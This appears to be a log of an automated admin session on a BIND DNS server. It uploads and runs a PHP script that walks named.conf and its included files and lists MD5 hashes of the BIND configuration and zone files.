MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:52:54: Establishing a connection
2026-04-25 18:52:54: 

PUT: /tmp/pkp692750

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:52:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp692750; rm /tmp/pkp692750'

2026-04-25 18:52:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
